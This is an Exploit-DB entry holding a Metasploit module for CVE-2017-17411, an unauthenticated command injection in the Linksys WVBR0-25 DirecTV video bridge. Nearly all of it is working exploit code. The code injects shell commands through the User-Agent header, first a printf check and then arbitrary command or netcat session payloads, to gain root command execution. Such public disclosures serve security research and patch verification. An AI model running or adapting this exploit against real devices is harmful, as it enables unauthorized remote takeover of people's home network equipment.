Linksys WVBR0-25 - User-Agent Command Execution (Metasploit)

EDB-ID:

43429




Platform:

Hardware

Date:

2018-01-04


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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Linksys WVBR0-25 User-Agent Command Execution',
      'Description' => %q{
        The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
        cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
        of the web management portal via the User-Agent header. Authentication is not required to
        exploit this vulnerability.
      },
      'Author'      =>
        [
          'HeadlessZeke' # Vulnerability discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2017-17411'],
          ['ZDI', '17-973'],
          ['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
        ],
      'DisclosureDate' => 'Dec 13 2017',
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat'
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget'  => 0
      ))
  end

  def check
    check_str = rand_text_alpha(8)
    begin
      res = send_request_raw({
        'method' => 'GET',
        'uri' => '/',
        'agent' => "\"; printf \"#{check_str}"
      })
      if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
        return Exploit::CheckCode::Vulnerable
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("#{peer} - Trying to access the device ...")

    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
    end

    print_status("#{peer} - Exploiting...")

    if datastore['PAYLOAD'] == 'cmd/unix/generic'
      exploit_cmd
    else
      exploit_session
    end
  end

  def exploit_cmd
    beg_boundary = rand_text_alpha(8)

    begin
      res = send_request_raw({
        'method' => 'GET',
        'uri'    => '/',
        'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
      })

      if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
        print_good("#{peer} - Command sent successfully")
        if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/  # all output ends up on one line
          print_status("#{peer} - Command output: #{$1}")
        end
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def exploit_session
    begin
      send_request_raw({
        'method' => 'GET',
        'uri'    => '/',
        'agent' => "\"; #{payload.encoded} #"
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end